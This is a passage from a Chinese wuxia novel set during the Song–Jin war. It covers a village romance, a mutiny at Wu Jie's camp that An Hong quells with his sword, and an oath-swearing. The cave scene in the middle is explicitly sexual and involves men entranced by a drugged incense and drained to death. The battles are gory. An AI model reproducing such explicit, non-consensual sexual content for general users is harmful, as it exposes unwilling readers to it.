郎使洞口放哨之人知会人众返乡,自己匆匆来到洞中周家父女所处之处,欢喜道
:「兰秀,金狗退了,咱们回家去!」
那兰秀正值桃李年华,虽是身着粗衣,却难遮清秀可人。此时见陆二郎至,
眼角眉梢,尽是喜气。牵了他手亲热道:「小安,路上可辛苦么?来,先喝口水
解渴!」
小安尚未答话,旁边忽然传出两声咳嗽,随声转出一名老者。兰秀倏地将手
缩回,红着脸低头跑去取水;陆小安憨憨一笑掩饰心内尴尬,挠头道:「义父!」
老者瞥了陆小安一眼,淡淡嗯了一声,自背起一个小包袱吩咐道:「带好咱
家粮种!」接着又瞥了他一眼,叹口气拄了根木棍自顾自向外行去。
兰秀见家父离去,将手中皮囊递给陆小安,歉疚道:「你别怪爹爹,他心中
很是疼你的。只是……只是见我年岁日长,气你……不向他提亲罢了。」
陆小安见兰秀语句踟蹰、眼神委屈,胸中一痛,将心一横道:「等回村,我
就去向义父说,请他将你嫁我!」
兰秀闻言欣喜万分,可笑颜绽开未久又沉寂下去,执手问道:「这次依旧没
有你兄长的消息么?」
小安黯然摇头道:「富平战前在军中打听时,听人说大哥……战死在太原了!」
兰秀闻听此信,也不知该如何安慰,只好将执着的手更紧了紧,陪陆小安一
道默默。陆小安强颜笑道:「我奉家父遗命,寻了大哥七年。如今虽是死讯,却
也胜过杳然。五年前我途径此地,染了风寒,若不是义父救我,恐我比大哥还要
先走一步。后来义父他老人家又收我为义子、举荐我入西军,方有今日之陆二郎。
得你青睐,更是我三生修来的福气。只是我执迷寻找,让你苦等了这些年,真是
对你不起!」
兰秀摇头方欲讲话,从洞中深处前呼后拥走出一个衣锦之人,嗤鼻道:「你
这军中逃卒又在对周家小娘子做什么勾当?」接着得意洋洋对身边人道:「武夫
就是武夫,怎也靠不住!两军阵前比谁逃得都快,此刻见了小娘子,却粘粘糊糊
往上去贴!」
陆小安闻言大怒,转身欲争执,手臂却被兰秀紧紧拉住。那衣锦人轻蔑道:
「如何?你这黥卒还想对我动手么?吾乃进士出身,大宋的肱骨男儿!岂是你这
斑面小儿可以无礼的!」
陆小安怒目喃喃道:「大头巾果都该死!」
衣锦人怒喝道:「你说什么?来人,将他与我绑了,鞭打一顿送到凤翔府治
罪……」言罢,想起凤翔已被金人占据、府治皆无,心中登时有些虚怯。一旁陆
小安已怒至极点、双目喷火,若不是兰秀死死拉住,早就冲上来将衣锦人一顿好
打。他久在军中,历死伤无数,只发怒站立不动,便已肃气萧杀。衣锦人身旁一
干家奴护院心生恐惧,一边在自家老爷耳边说着好话,一边连拉带劝的将其往洞
外送去。
陆小安狠狠的朝那干人离去处吐了口唾沫道:「真不知我等沙场血战为了哪
般!就为了保住这些跋扈无礼的大头巾么?」
兰秀在旁解劝道:「罢了,莫气坏了身子。胡老爷只是暂时栖身此处,待赶
走金狗,得了太平,还是要为天家做官的。休得恼了他,以后你我日子难过。」
陆小安余怒难息,却也不愿让兰秀看自己冷脸冷面。只得重重叹了口气,将
家中粮种背在身上,携了兰秀去追她爹爹。
村落中道路上,马蹄脚印颇多,乱杂杂直往南去了。路旁各家只损了些门窗,
屋舍床柜倒还完整。此村所处偏僻,本来并无金人打搅。不知为何自上月中始,
总有成队金人过境。虽从未若听闻般烧杀抢掠,却也吓得乡民胆战心惊、躲避山
中。凭心论之,富平败后,倒是大宋的溃军更可怕些。不过山中民风本就彪悍,
又加村中年轻后生多在西军中为兵卒,村落所在一直安好。
陆小安请义父歇下,自己与兰秀安置粮种。方告一段落,便听得村南一阵喧
闹。再仔细听,却是梆子声中夹杂着汉子大吼:「金狗大队自南边来啦!」
兰秀吓得脸色煞白,忙去屋中喊爹爹逃遁。陆小安心中虽疑惑金狗这次往返
太速,行动却不敢怠慢,抢了刚刚收拾好的粮种,搀拽着周家父女二人熟门熟路
的往山中奔跑。村中乡民措手不及、扶老携幼、跌撞而行,家家户户皆是一般。
大队尚未出村,南面金人已至。陆小安见逃脱不得,一震手中木棒,回头大喝道
:「有胆的随我挡住金狗,护乡亲进山!」挣脱兰秀拉扯,往队尾跑去。
十来个富平逃回的汉子与七八名村中后生各持枪棒紧紧跟在陆小安身后,在
路中间列了个军中常用的小阵以便随时与金狗厮杀。众人来得仓促,手中多持柴
刀棍棒,一件像样的兵器也无。有个汉子,惶急间竟只抄了一卷粗绳列在阵中。
那胡老爷身躯颇肥、行走缓慢,与一众家丁拖在队伍最后,见陆小安等人结阵于
路,喘息道:「抵住金兵……抵住金兵……不然将尔等送往凤翔府……」话未说
完,人已自阵边跑过,余声不闻。
南面马蹄声渐近,陆小安等人定睛观瞧,却只有十数匹马映入眼帘。且马匹
大多无主,只最前有三个金人在马背上策马狂奔,面上尘泥和血,十分狼狈。陆
小安见奔马狂乱,非血肉之躯可挡,斜眼看到汉子手中的粗绳,计上心来。大喝
了声「绊马索」,吆喝着十七八人分作两路,将那卷粗绳横在路中、扯得笔直。
金人马快,几息便到了眼前,众人扯绳分开与马蹄踏至只差了反掌工夫。只听唏
律律连声,前马被绊倒在地,三个金人亦皆摔落地上。后马不停,或跃过前马,
或绊在前马身上。三个金人被碗口大马蹄踏下,又被数百斤的马身重砸,俱是一
命呜呼。
陆小安等人全凭人力拉紧绳索,此刻也都绳索破手、滚摔在地、灰头土脸,
骨断者亦有之。片刻之后,南面又有大队来到。一后生眼尖,激动吼道:「是西
军!是我大宋王师!」众人向远望去,只见一将策马在前,两卒随驰在后,将旗
之上,绣着斗大一个杨字。余众皆是步卒,虽是全军疾奔,法度却丝毫不乱。队
伍来到金人殒命处,那杨姓宋将勒马环视周遭,忽讶道:「陆小安?」
陆小安手心皮肉全被粗绳搓破,身上也摔得青紫相加,正痛的呲牙咧嘴。闻
听有人喊自己姓名,遂抬头去看。一望之下亦讶道:「杨队将!」一边说着,一
边忍痛起身对杨队将行了个标准军礼。十来个同是富平逃归的汉子见状,虽不识
杨队将,亦皆起身行礼。杨队将略一颔首,对陆小安道:「正是杨从义!小安,
你怎会在此处?」
陆小安道:「此村落是我义父家乡!富平战后,我随军败退。后来不知怎地,
慕容洮那厮竟要带同麾下兵士去投西夏。我等不愿,故于途中偷偷四散了归乡。」
顿了顿又道:「那次军中演武,得杨队将青睐,小安感恩至今。只可惜我义父从
军时与环庆军将领有旧,不许我追随队将。不想队将仍记得我!」
杨从义叹了口气,先痛心道:「张枢密战后推诿罪责,斩杀部将,以至军中
生变。」再叹口气,展颜道:「小安刀法精湛,又兼聪明过人。我一直以不能收
归帐下为人生憾事,又怎会忘记你!今日偶遇,却是恰好!吴经略收残兵,意欲
扼守和尚原。如今派我带兵收复凤翔,取出府库存粮以资军需。调拨与我的兵马
虽是经略帐前精锐,怎奈数量太少,攻坚城恐不足用。小安你可愿随我同行,助
我一臂之力?」
陆小安喜道:「杨队将有命,陆小安无有不从!可否请将军在村中暂且歇马,
待我禀明义父便随军上路。」
杨从义亦喜道:「好!有小安助我,取凤翔定会事半功倍!不知你义父现在
何处,我也要前往拜见。」
陆小安回头远望道:「适才为躲避金人出了村,此刻应该还未进山。」
杨从义命身后健卒让出一匹战马,又吩咐队伍于后缓行,便要与陆小安放马
去追赶。拦截金兵那十数人见二人要走,皆挡在马前,齐声求与军同去。杨从义
以目光询陆小安,陆小安点头道:「那几个原就在军中,均是战败散归的。这几
个是村中后生,适才随我等阻金狗,亦是铁胆好汉。」
杨从义大喜,让众人随队前行,自与陆小安去追赶乡民。未久,便远远看见
山脚处大批乡民望山狂奔。闻陆小安呼喝,见宋将随至,众皆停步,欣喜若狂。
杨陆二人于人群中寻见周家父女,说明意图。周父将手中木棍一顿,赞道:「大
丈夫当提七尺剑,与乱世中搏杀一份功名!小安,你放心去,不必挂怀家中!」
兰秀挽着父亲手臂,心中不愿却不敢多言,紧绷着俏脸装作冷漠,可眼眶中泪水
却难以噙住,断线珠子般掉落下来。陆小安见兰秀样子,心中不忍,当着众人面
又不好蜜语抚慰,只好歉然道:「兰秀,我随杨队将去。攻下凤翔便……」
兰秀听他说话,心中又添委屈,忍不住啜泣道:「山中石洞内,你答应过我
什么?」
周父闻言不喜,又将木棍重重一顿,叱骂道:「杨队将当面,哪里有你说话
的份!此国乱之时,好男儿自当挺身而出!为父若是年轻十岁,亦要与他们一同
去上阵拼杀,好教金狗知道,我大宋不可轻侮!」
兰秀甩开父亲手臂,气鼓鼓道:「真不知沙场血战为了那般!就为了保住跋
扈无礼的大头巾么?」说罢,扭头跑开。
陆小安心内欲追却害羞不敢动,眼光随着兰秀背影远去,恰好看见胡老爷坐
在一块大石上牛喘。心中厌恶,眉头便皱了起来。周父见状,以为他心忧情事,
遂为他宽心道:「放心随杨队将厮杀去!待你击退金狗、衣锦还乡之时,义父送
你个双喜临门!我有兰秀照料,粗重活等大郎送粮回来,也就有了着落。」
陆小安心中满是兰秀,勉强点头应道:「大哥去了十余日了,不知道什么时
候回来?」
************
十二蹲下身轻抚面前大石,于石土交接处摸到目不可察的本门暗记,回头喜
道:「安公子,路途没错!翻过此山,再行十几里路便是二里驿。」
安鸿颔首,亦是一阵轻松。低头看了看已被树木怪石挂烂的衣物,面上苦苦
一笑,心内却是泛甘。喊了十二再鼓余勇、翻下山头时,已是繁星乍起,明月初
升。
二人虽不愿耽搁,但山间无停处,已三日夜接连赶路未休,遂边行边沿路找
落脚歇息之处。不久,见路边山侧有一山洞,看去洞口虽不宽阔,却足可挡雨遮
风。到洞口向里望,才发现此洞窄深,数丈长洞壁于底截断、向右急拐,内有火
光忽明忽暗,照的洞底颇红,却见不到内中景象。
十二看了安鸿一眼,便想跃入洞中查探。安鸿觉荒山野洞、火光蹊跷,恐十
二有失,抬手拦在十二胸前,摇了摇头,自己往洞内走去。十二冲势已起,险些
撞在安鸿臂上,脸上泛红,怒瞪了安鸿一眼。见他背影宽厚,心念一路照拂,不
由唇角微翘。
安鸿走到中段,便嗅到一股甜香,屏息内察,毫无异样,这才放心再进。走
了几步,耳听火光处一女子道:「来呀,来呀!你看,我可美么?」语罢,便是
一声呻吟,娇柔魅惑,饶是安鸿内力雄浑,神思宁静,亦有些心旌摇晃。意图定
定心神再上前去查探,怎奈女子淫啼不断,声声入耳,搅得自己浑身燥热,也顾
不上其他,鬼使神差般往洞内走去。
洞底入眼帘处是一火堆,火堆一侧立着个裸身男子,另一侧有一女子,面容
姣好、身段匀称、未着寸缕、玉体横陈,有一粗鄙男子正挺着阳具,在她阴户中
奋力搏杀。女子承欢,尚有余力,见安鸿现身火外,眼睛一亮,停了口中嘤咛,
不怒反喜道:「公子来的恰好,可是也要在奴家身上分一杯羹?」
安鸿心知不妥,但胸腹间好似有一堆干柴,女子淫声若火星一点直入其中,
瞬间将大火引燃,全身烧灼,难以抵受。忙提气运功相抗,不料这火气并非真气
可御,反而借着气息发散到各处,更加难熬。
女子见安鸿满面通红,喉间津唾狂吞,知他勉力守了一丝清明、不肯就范。
也不着急,微微一笑,自己用力拍了雪白的翘臀,发出清脆一响,口中淫声大作,
更甚于前。粗鄙男子吃她一喊,心中激动,登时觉得精关难守,大叫道:「小骚
蹄子,你浪叫的哥哥快要出了!」
女子闻声心喜,娇声叫道:「哥哥,奴家也快要丢了,且再快些个,和奴家
一起去了吧!」
粗鄙男子不答,仰天嘶吼,声作嗬嗬,抽送速度愈来愈快,交合处隐隐现出
一团淡淡红光。又数息,忽僵直不动,双眼一闭,轰然栽倒。女子收了那团红光
入体,见安鸿虽是额头青筋冒出,汗落如雨,却依旧在原地不动,心中暗暗佩服。
转头对火侧那立着的裸身男子勾勾手指,魅惑道:「冤家,来啊!莫只顾看着,
奴家也让你爽利爽利!」
安鸿见那男子向裸身女子挪去,心受蛊惑,勉力守着的灵台眼见就要沦陷。
向前木木然迈出一步,忽觉鼻尖一凉,辛辣味道直上眉心,登时清醒。顺着鼻下
手指往身后看,见十二手持一个小巧的油布囊,正站在身后,气鼓鼓地看着自己。
十二在洞外不见安鸿出来,觉其状有异,忙纵身进洞。待鼻嗅甜香,心中便
已明了一切,掏解药往自己鼻尖抹了,又来救助安鸿。见了洞底男女赤身之形,
一时面羞,心里将错皆推给安鸿,怒气丛生。待看清那女子样貌及安鸿醒转后的
凌厉目光,又不禁惴惴纠结起来。
女子被十二脚步惊动,起身咤问道:「谁?」待见了十二,亦是一怔。安鸿
此时已醒,闻女声不退反进,几步迈出,见火后还倒着四人,一动不动、生死不
知,又想起适才之事及陆大安口述,心中已有了计较,遂起了杀意,冷面道:「
你便是杀我箭营兄弟的红纱妖女?」
裸身女子听罢咯咯娇笑,摇曳着腰臀步步趋前道:「哟!奴家这身段,公子
竟不满意么?」话音未落,面犹带笑,却已撮掌成刀,向安鸿头颈砍来。安鸿见
裸身女子出招,口中轻「咦」了一声,不假思索地举臂相迎,后发先至,看上去
倒如同女子目的便是安鸿手臂一般。裸身女子见招式无功,身子一拧换了个方位
再打,安鸿依法炮制挡格。如是再三,裸身女子大怒,轻喝了声,翻身于空中一
脚踢来。安鸿如同师徒喂招一般,负一手在身后,只用一手拨打防御,面上神色
愈发凝重不解。裸身女子累的气喘吁吁,退后两步问道:「你究竟是何人?」
安鸿默然不答,站在身后观战的十二小意道:「安公子……」
安鸿举手止住十二,侧身让开往洞外去路道:「你走吧!」
裸身女子看看十二,又看看安鸿,捂嘴噗嗤一声娇笑,拾起地上衣物。经过
安鸿身侧之时,驻足深深看了他一眼,才飞身离去,对十二却恍若未见一般。
女子走后,十二对安鸿抱拳感激道:「多谢!」
安鸿一怔,问道:「为何?」
十二羞赧道:「我等虽互相轻视,却同为孟门一脉。十二只是不愿见她毙命,
并不是与她同流合污,安公子不要误会。」
安鸿听他言语,心中疑惑之状稍解,便放弃再问解药事而转道:「此人貌似
依旧呆傻,如何是好?」
十二见安鸿不理,以为他因自己持有解药,料定自己与裸女一同,听不进自
己解释。心中气恼,上前两步,怒道:「如此便好!」扬起手左右开弓给了裸身
男子两记耳光,顺便将解药擦过男子鼻下。裸身男子浑身猛地一震,眼内迷惘虽
在,神智却似渐渐清醒,缓缓转着头四处打量。安鸿以为十二只凭耳光便救醒了
男子,瞠目结舌道:「多谢。」
十二下巴一抬,问道:「为何?」
安鸿结舌无语,自忖道:「这汉子一切都好,就是性子忒不爽利,小家小气
太过。」十二见安鸿不语,头一扭也不说话。可谁知眼神正好落在裸身男子胯下
阳具之上,登时面红。轻啐了一口,理所应当地将这桩事亦记在安鸿账上,扭回
头狠狠瞪了他一眼。裸身男子此时全醒,扑倒在火后四人身上挨个摇晃身躯,呼
喊姓名。见身体僵硬、气息全无,遂放声大哭。安鸿上前劝止,待他敛悲穿好衣
物后问他来历。裸身男子答道:「回恩公,小人名叫周青,凤翔府周家村人氏。
听闻和尚原之上,军兵缺粮,遂与四名同乡前往送粮。因大路时有金狗行军,故
绕行山间小路,不料……不料……」言语难接,又是泪如雨下。
安鸿与十二见周青凄惨,遂好言安慰。助他在洞外埋了尸首,就在洞口暂歇。
天色微明,三人一同上路。行了不远,便看见周青与同乡的推车、粮袋横七竖八
散在一边。周青将所有粮袋装在一车,拒了二人帮助,蛮牛般咬牙推行。又走出
段路,到了周青所说山间小路,只见粮车如水,不绝于路。有送粮的乡民见周青
车重,停下分担,彼此虽不相识,却亲如一家。
安鸿见周青与大队同行,放下心来,遂带了十二先走。二人歇息半宿,气力
尽复,不到半日便已将几十里山路抛于身后,来在和尚原外不远。安鸿见路多窄
隘、怪石壁立,却无军将把守,连斥候哨探竟也见不到半个,不由暗暗心疑。眼
见上原,才有几名宋兵拦住喝问。安鸿将魏庆的腰牌出示,求见吴玠. 宋兵见腰
牌皆态度恭谨。分了一人离岗为安鸿二人带路。
一路崎岖,上得原来,入眼便是军营一片。安鸿不明兵事,十二在他耳旁小
声嘀咕道:「看样子也不过三五千人马,怎地扎做这许多小营?」三人于营间穿
过,安鸿左右观瞧,只见各营宋军不过数百,或坐卧或笑闹,状甚懒散,军纪憾
缺,与带路宋兵相比,所差何止天壤。
不多时行至一营,兵士仅数十,个个顶盔贯甲、结束威武。与他营相较,静
谧肃杀远甚。人望其外则自生畏、居其中而自穆然。宋兵带二人至中军帐外,行
礼扬声道:「禀将军,原外有二人自称折翎折指挥义弟,求见将军。因其手持将
军贴身侍卫腰牌,故队正命属下将二人引来帐外等候。」
宋兵话音刚落,营帐里便传来急促的脚步声。帐帘一掀,冲出个络腮连鬓、
膀大腰圆的汉子。口中嚷嚷:「折翎在哪里?可安然无恙么?」
宋兵悄声道:「此乃吴玠将军胞弟,吴璘将军。」安鸿见吴璘口呼折翎、关
怀满面,于是心中对他生了些好感,忙抱拳道:「有劳吴将军挂念,兄长安好。
兄长遣我来此寻二位将军,有紧要军情相商。」
吴璘蹬蹬蹬几步近前,挥退宋兵、一把抓住安鸿手臂道:「那还在这里文绉
绉的做什么?快进帐来!」安鸿一笑,也不反抗,任由他拉着自己往帐中去。帐
幕忽分,现出一人。此人鼻直口阔、五绺长髯,面相颇类文士,但腰宽背厚、虎
步龙行、不怒自威,恰一副武将气度。望安鸿笑道:「舍弟粗豪,性子冲动,让
贵客见笑了。帐内请!」
安鸿连称不敢,自通报了姓名来历,又将魏庆腰牌及折翎手书交予吴玠,这
才在帐中下首站定。吴玠细细读罢,将书信递给吴璘,叹道:「不想金人竟如此
狡诈!若阴平失守,我等困于此处,成西蜀姜伯约矣!」顿了顿,将诸葛砦情形
细细询问。安鸿一一作答,只将巧云孟门之事隐去,称砦中山匪被折翎收降,同
心抗金。十二一直随在安鸿身后,闻其称孟门为匪,气愤填膺。静悄悄照着他脚
跟猛踢一脚,谁知反戳痛自己脚趾。强忍着不叫喊出声,眼中却已是泪光宛然。
吴璘看罢信函,握拳迈前两步对吴玠道:「大哥,不,兄长。事关重大,要
立即遣军前去援助才是!」说完又重重顿足道:「手中无兵!奈何!奈何!」
安鸿闻言变色,十二也忘痛呆立。吴玠对安鸿道:「不瞒安公子,正如舍弟
所言,此刻原上无兵可用。我与舍弟所部,本有精兵千人。因军粮不济,故分了
八百人与杨从义将军,攻凤翔、取积粟。累日谴军卒四下远探,又去了百余。如
今营中只有军兵数十,分队轮流把守原周各通路而已。」
安鸿疑惑道:「我在来时路上,见百姓向此处输粟者众多。又见原上军营之
中,兵士怎也有数千。怎会……怎会捉襟见肘至如此境地?」
吴璘嘿了一声道:「你又不知兵事!懂些什么!」还想再说,被吴玠叱退。
吴玠先致歉,后沉重道:「原上兵士,皆是我收聚之败兵溃卒。金人抢掠陕西,
使将士家属失散。张枢密行踪辗转不定,使后勤无着、粮食缺乏。原上兵士,每
营各自分属、不听号令、士气低落、军心不稳,无一可用。幸得百姓盼望王师收
复,吴某旧日在西北亦略有薄恩,遂慷慨解囊相助。怎奈杯水车薪,军中仍是入
不敷出。」
安鸿为难道:「这……这可如何是好?」
吴玠道:「折指挥处虽有高山险砦,兵丁却只是乌合之众,军情亦是迫在眉
睫,必得援相助方可无虞。为今之计,或待杨将军率众归来,使其麾下精兵随公
子回援;或寻得张枢密驻节之处,求其发兵往援。」
安鸿急切道:「敢问吴经略,哪个方法快些?」
吴玠道:「二十日前,我已遣人去寻张枢密驻节所在,杨将军亦已率兵去了
十数日。安公子先在营中住下,不日之内,定会有消息传回。到时,你我择其先
至者为首选,双管齐下,定可及时赴援。不知安公子意下如何?」
安鸿虽心急,左思右想亦是无奈,无奈颔首道:「只好如此!」
吴玠见安鸿面容,知他心中焦虑,又安慰了几句,吩咐吴璘设宴款待。安鸿
婉拒,请吴玠安排了帐幕自去休息。十二到帐中也不理安鸿,直接蒙头大睡。安
鸿将一切抛诸脑后,闭了帐帘运功打坐,一时物我两忘。待睁眼时,天已黑透,
只觉神清气爽、饥肠辘辘。十二在安鸿打坐时自作主张拒了吴玠邀请,见他运功
毕,出帐于火头处寻了军中饭食,没好气的丢在安鸿面前,蒙头又睡。安鸿惦念
折翎,却又知原上情势不佳,心中烦闷,饭罢便也躺倒假寐,放耳去听周遭动静。
山风吹帐、甲叶摩擦、军中刁斗、营火噼啪,声声皆入耳。不知过了多久,忽闻
一人急匆匆由营外而至,于中军处倏地停步,惶急道:「将军,吾乃陈远猷。大
事不好,有军将串谋、鼓动哗变,欲劫将军以降金,请将军速速发兵平乱!」
安鸿闻言大惊,一跃而起。耳听吴璘叫道:「大哥,帐下兵丁多在原周巡夜,
营中只十余人,这可如何是好?」
吴玠叱道:「慌什么!你二人带营内余卒去各营传令,命大小将校同至我帐
中商讨军务。」
吴璘又叫道:「大哥!还商讨什么军务!依我之见,你还是带上安公子主仆
先行离开。我带领士卒,在此挡……」
吴玠亦再叱道:「胡言乱语!我吴玠乃军中主将,岂可因些许乱卒而轻弃中
军!速去传令,休得耽误!」顿了一顿,转做温言道:「左帐中有两位贵客,烦
请陈先生与他们一同出营后,往山中暂避。待此间事了,我遣吴璘去寻你三人。」
吴璘顿足离帐,集兵出营。安鸿拍醒十二,示意他跟来,挑帘而出。迎面一
中年文士正急步走来,见安鸿二人出,行走中惶急拱手,还未及出言,营外远处
一条火龙直奔营门而来。兵甲繁杂,脚步不一,内中夹杂着高喊「捉吴玠、杀吴
玠」之声。安鸿转头对十二道:「送陈先生去中军,好生保护吴经略,不得离开
半步!」言罢,提气轻身,离弦之箭般直趋营门。
安鸿至营门处站定,那条不断逼近的火龙尚在数丈之外。运内力仰天一声长
啸,乱军前队闻声讶异,皆缓缓止步。安鸿拔剑指地,以剑气在身前三尺地上划
出一道数寸深沟,朗声道:「越此界者,死!」
乱军约有三百,本是列为一纵队。闻安鸿长啸,见队伍不行,皆拥到前面、
挤作一团。火光下见安鸿文士打扮,竟敢孤身一人挡住大队去路、持剑划界定规,
登时笑声震天。安鸿剑尖指地,面无表情,置若罔闻。乱军忽分,有一将骑马而
出,大喝道:「百姓送粮,吴玠皆以财货回赠,累日如此、不见囊空,营中不知
屯了多少珠宝!攻破营寨,其财任你等取用。活捉吴玠,至金营又是大功一件。
休得在此与这疯汉聒噪,速速冲进营中!」
乱军闻听,个个眼红,发声喊便向前冲。十数个胆大贪功之人冲在最前,数
息而至剑界边,各举兵刃砍刺。安鸿运功,衣襟无风自动,凝神震腕,倏忽剑出。
十余乱军略在前者,无论耳鼻足臂,凡过界皆被削落;略在后者,无论刀枪斧钺,
凡过界皆被截做数段。刹那间,刃折兵损,血落成泥。
十余乱军或惊骇或惨呼,却阻不住身后未见此情形同伴向前冲突。机灵的几
个向外急闪,于剑界外扑倒;疼痛难忍的被推搡过界,剑刃相加,登时一命呜呼。
新冲上乱军亦是十数人,似同属一队,兵器衣甲均无二致。见眼前碍事背影全部
消失,不约而同举枪攒刺,动作整齐划一。安鸿跃起避过,左臂在空中一卷、袖
做游龙,缠住刺来枪尖,右臂前指、剑似飞凤,抹过十余乱军咽喉。众乱军先觉
虎口迸裂、枪杆脱手,尚未及反应,喉头便是一凉,继而鲜血喷涌。安鸿将衣袖
向身后营门中一甩,十余杆枪整整齐齐插在土中,好似一排木栅。双足落地,站
上适才起身前地上脚印,丝毫不差。
未拥上乱军只觉得眨眼之间,地上已是尸身累叠,皆惊愕不敢前。马上将见
状将手一挥,马后八名持刀盾者应召上前、排众而出、擎盾扬刀、冲入界中。安
鸿出剑,与八人混战。这八人倚盾之固、分进合击,在安鸿剑势之下分毫不退、
竟可勉保安然。马上将喝道:「此人力竭,你等还不以多为胜,将他乱刀砍死,
更待何时?厚禄大功,就在眼前!」
乱军闻言,一拥而上。营门虽不甚宽阔,却也有数十人、数十支兵器三面围
着安鸿招呼。安鸿适才以一敌八,优势颇大,已将盾手逼至界线以外。此时三面
受敌,一口剑劈砍崩格、洗截刺搅,应接不暇。虽剑剑夺人性命,却无奈来敌众
多,只得步步后退,看看已离枪栅处不远。马上将远远望见团团围困之中,剑若
游龙、上下翻飞、使鲜血四溅,持剑人却已淹没于人群之中。
未久,剑光忽敛。马上将大喜,以为安鸿寡不敌众、殒命营门。刚要催马向
前、入营去杀吴玠,忽然人群中穿来一连串惨叫。其音未落,凄然又起,如是者
六,围中剑光重现。马上将惊骇不已,转目暗思了一番,终咬牙下定决心。长出
口气稳定心神,缓缓抽出佩刀,双脚一蹬马鞍,在空中绕过营门,直奔中军而去。
战团之中,安鸿衣上,乱军鲜血淋漓流淌,头脸亦被腥红遮蔽。脚下尸身,
已垒为层台,整个人唯有手中宝剑滴血不染。乱军约剩了百名,皆心惊胆寒、口
不能合。当前一人正对安鸿,只觉两股战战。安鸿逼视其目,继而眼光向下,呛
地一声收剑归鞘。那人顺着安鸿目光看向自己脚下,见自己双脚尚在剑划血河外
寸许之地。心中一松,双膝酸软,扑通一声跪倒在地。安鸿将眼缓缓扫过余下乱
军,目光所及之处,人皆跪倒、无一站立。
营门寂静,身后营中忽传来金铁交鸣之声。安鸿急回头看,见中军帐幕前不
远处,吴玠、十二正双战马上将。陈远猷拖着一个大布袋,面色焦急地站在一旁。
马上将瞥见安鸿弃门而回,遂以命搏命,不顾十二在侧,将全部攻势集中到了吴
玠身上。虽立时中了十二几剑,却也一脚将吴玠踢倒在地。一刀劈下,欲将吴玠
杀死,却被一旁的陈远猷往面上扬了一把沙土,急闭目去躲。扭身挥刀再砍时,
安鸿已到。
安鸿使挑字诀击歪马上将手中刀,紧接着又是几招将他逼退数步。马上将见
十二与陈远猷护着吴玠渐渐远离,知杀之无望,便将一腔怒气撒在安鸿身上,刀
刀不离要害。安鸿见他刀法不似沙场血战练就,反倒更似江湖中历练得来,暗暗
生疑,想要将他生擒活捉、问明缘故,遂处处留手。马上将久攻无果,只觉气力
不佳、刀法散乱,欲虚晃一招,转身退去,却被安鸿抓了破绽,一剑刺中肩膀。
安鸿滑剑至马上将脖颈,喝问道:「你是何人?竟敢挑动军兵来刺杀吴经略?」
马上将不理安鸿问话,闭目吟诵道:「光明普遍皆清净,常乐寂灭无动诅。」
吟罢双目圆睁,眼中精芒暴涨,一掌向安鸿推来。
安鸿撤剑削马上将小臂,意欲使其收招回救。不料对方不格不挡、任由他将
手臂砍下。断臂连掌依旧势大力沉地打在安鸿前胸,趁他肺腑震荡之际逃之夭夭。
安鸿衔尾急追,不料对方轻身功夫亦是上佳。自己久战气亏、又被断臂震出
些内伤。急切之间,竟是不能迫近。数息,马上将已出了营门,一跃上马,加鞭
逃走。安鸿又追了一阵,却只能目送一人一马越去越远。
营门处,吴璘带同数十兵士、数十军将自远而来。火光之中,望见血流成河,
百余人死,百余人跪,又有数十人成串僵立、一动不动。大骇之下,拔刀迫近。
跪着的一众乱军胆气已破,纷纷膝行让路。吴璘踏尸山过血海来到僵立人前,举
火观瞧。只见僵立之人共有六串,皆被大枪穿胸、连在一处。六名最前之人皆举
盾于胸,却仍难逃劫数。恰此时,安鸿追击,无功而返。众乱军见血修罗至,尽
皆匍匐。吴璘所携军将、兵士,亦多有惧色。吴璘探知众人均安好,便要下令杀
光乱军,以儆效尤。尚未动手,十二来传吴玠令道:「吴经略请众军将入账议事,
另令乱军余子清空营门。」
吴璘闻令,恨恨而罢。留了兵士看守乱军清理,带一众军校及安鸿入了中军。
吴玠高坐帐中,神态自若。先请安鸿坐在己侧,又将眼一一扫过营中诸将。诸将
眼中,有愧色、惧色者众,几乎个个手不离腰间刀柄。吴玠见状,长长一叹。尚
未开言,便听守帐军卒欢呼道:「贼已授首!贼已授首!」
第二章军将刀唇歃誓血 诈释败乱作虚张
欢呼声未落,已有一人在帐外大声道:「禀将军,属下史天非求见!」
吴璘欣喜道:「天非回营,定是寻着了张枢密驻跸所在!」
吴玠亦难掩面上喜色,扬声发命,将史天非宣入帐中。安鸿放眼,只见一窄
目细眉男子手挽一人头阔步而入,虽只做普通百姓装扮,却难掩骨子里蕴着的飒
然洒脱。头颅断口处犹在滴血,细察面目,正是适才策马逃奔那人。
史天非来在吴玠面前郑重一礼,道:「属下三人不辱使命,打探得知张枢密
已于前些日移驻兴州。我恐将军等待心焦,故先来禀报。余下二人此时应已在兴
州探得确实,不日即将归营。」
吴玠颔首微笑,问了几句别情,史天非一一作答,状颇相得。吴玠对史天非
手中人头不闻不问,史天非亦毫不在意,便似此事自然而然一般。一众军校听闻
张枢密驻跸所在已被寻到,心下为之一振。但乱军一事未毕,史天非提头在手,
又皆不敢大意,个个将精神身体绷得死紧。
吴玠又问了几句原下军情,命史天非呈上人头、一旁稍待,手指人头道:「
今夜之事,首恶已除,同谋者不问!」众军校闻言,略略放松。吴玠环视,续道
:「众军妻子离散、粮草不敷,朝廷指令不清,枢密下落不明。诸位掌兵不易,
我却不能分忧。今夜之乱,罪在吴玠. 吴玠无能,请诸位见谅。」言罢,团团一
揖。
众人闻言纷纷抱拳,心中半是惊诧半是羞愧,结舌不言。吴玠揖罢,负手转
出帅案,行了几步,忽厉声道:「但我心中有一事,如鲠在喉,不吐不快!我汉
家之耻,千年来可有如靖康者?我大宋之败,百年来可有如富平者?你我历此两
次奇耻大辱,何以不思整军备战于内,复陕御金于外?何以涕泣感伤,做小儿女
之态?皮之不存,毛将焉附!国破而放诸不顾,家户安能独存!莫非尔等百年之
后,去与征西逐北、控李夏复燕云的祖宗父辈言讲,大宋国祚,便是丢坏在我等
手中么?莫非尔等愿见绕膝之儿孙,皆效胡虏打扮、做禽兽蛮语,为金狗驱做牛
马么?休要忘记,你我是西军!是我大宋最为能战之虎狼!」说到此处,吴玠呛
啷一声抽出腰间佩剑,割破指尖道:「我吴玠今日对天盟誓!绝不叛朝廷!绝不
背祖宗!扶保大宋天下!扬我西军武威!」
帐内众人,闻吴玠所言,个个热血沸腾,激动难以自已。吴璘拔刀划指,尚
未开言,便听得一人霍然拔刀在手,划指激昂道:「我西军儿郎,岂是好相与的?
永兴军曹武,愿随吴经略死战于此,定要让金狗有来无回!」话音未落,又有一
人慷慨道:「秦凤军王杨,愿随吴经略死战于此……」
「泾原军刘良嗣……」
「环庆军高猛……」
